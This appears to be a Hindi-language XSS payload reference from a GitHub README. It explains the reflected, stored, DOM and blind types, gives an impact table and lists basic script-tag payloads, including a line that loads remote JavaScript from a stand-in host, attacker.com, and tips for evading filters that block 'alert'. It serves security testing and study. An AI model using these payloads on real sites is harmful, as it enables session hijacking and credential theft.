
प्रतिबिंबित, संग्रहीत, DOM और ब्लाइंड पेलोड, फ़िल्टर बायपास, WAF एवेज़न, CSP बायपास, mXSS, और वास्तविक दुनिया के CVE केस अध्ययनों को कवर करने वाला व्यापक XSS संदर्भ।
GitHub पर सबसे व्यापक XSS संदर्भ।
Reflected · Stored · DOM · Blind XSS — payloads, filter bypasses, WAF evasion, CSP bypass, mXSS, prototype pollution chains, और real-world CVEs। 2026 के लिए अद्यतन।
Payloads · Filter Bypass · WAF Evasion · DOM XSS · CSP Bypass · Blind XSS · Advanced · Tools
Cross-Site Scripting (XSS) एक क्लाइंट-साइड कोड इंजेक्शन हमला है जिसमें हमलावर एक विश्वसनीय वेब एप्लिकेशन द्वारा प्रदान की गई सामग्री में दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करता है। जब पीड़ित का ब्राउज़र पेज को रेंडर करता है, तो इंजेक्ट की गई स्क्रिप्ट उसी ओरिजिन की वैध स्क्रिप्ट के समान विशेषाधिकारों के साथ निष्पादित होती है।
XSS लगातार OWASP Top 10 में रहता है क्योंकि प्रभाव गंभीर है और हमले की सतह विशाल है:
| प्रभाव | विवरण |
|---|---|
| सत्र अपहरण | document.cookie चुराएं और प्रमाणित सत्रों पर कब्ज़ा करें |
| खाता अधिग्रहण | पीड़ित के सत्र का उपयोग करके जाली अनुरोधों के माध्यम से ईमेल/पासवर्ड बदलें |
| की-लॉगिंग | प्रत्येक कीस्ट्रोक कैप्चर करें, जिसमें पासवर्ड, क्रेडिट कार्ड नंबर शामिल हैं |
| फ़िशिंग | नकली लॉगिन फ़ॉर्म इंजेक्ट करें जो क्रेडेंशियल हमलावर को सबमिट करते हैं |
| विकृति | गलत सूचना फैलाने या लक्ष्य को शर्मिंदा करने के लिए पेज सामग्री संशोधित करें |
| मैलवेयर वितरण | पीड़ितों को एक्सप्लॉइट किट पर रीडायरेक्ट करें |
| क्रिप्टो माइनिंग | पीड़ित ब्राउज़रों में क्रिप्टोमाइनर चलाएं |
| SSRF / आंतरिक पोर्ट स्कैन | आंतरिक नेटवर्क की जांच के लिए पीड़ित के ब्राउज़र का उपयोग करें |
| क्रेडेंशियल हार्वेस्टिंग | DOM से ऑटोफ़िल किए गए क्रेडेंशियल पढ़ें |
| स्क्रीनशॉट / वेबकैम | getDisplayMedia() के माध्यम से स्क्रीन कैप्चर करें, getUserMedia() के माध्यम से वेबकैम |
XSS समान-मूल नीति (SOP) को पराजित करता है। चूंकि दुर्भावनापूर्ण स्क्रिप्ट लक्ष्य मूल से परोसी जाती है, ब्राउज़र इसे विश्वसनीय मानता है। इसका मतलब है कि XSS हमलावर को देता है:
HttpOnly द्वारा संरक्षित नहीं किए गए सभी कुकीज़ तक पहुंचlocalStorage और sessionStorage तक पहुंचCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| प्रकार | स्थायित्व | किसे निशाना बनाया जाता है | सर्वर पेलोड देखता है? |
|---|---|---|---|
| परावर्तित (Reflected) | नहीं | लक्षित पीड़ित | हाँ |
| संग्रहीत (Stored) | हाँ | सभी आगंतुक | हाँ |
| DOM | नहीं | लक्षित पीड़ित | सामान्यतः नहीं |
| ब्लाइंड (Blind) | हाँ (रिमोट) | एडमिन / बैकएंड उपयोगकर्ता | हाँ (इंजेक्शन बिंदु पर) |
वे आधारभूत पेलोड जिन्हें हर सुरक्षा शोधकर्ता जानता है। ये वहाँ काम करते हैं जहाँ कोई फ़िल्टरिंग मौजूद नहीं है।
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>
<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>
<!-- Arrow function -->
<script>(() => alert(1))()</script>
alert अवरुद्ध हो)कई आधुनिक एप्लिकेशन और WAF alert शब्द को अवरुद्ध कर देते हैं। इन विकल्पों का उपयोग करें:
// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>
// prompt() — shows input dialog
<script>prompt(1)</script>
// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>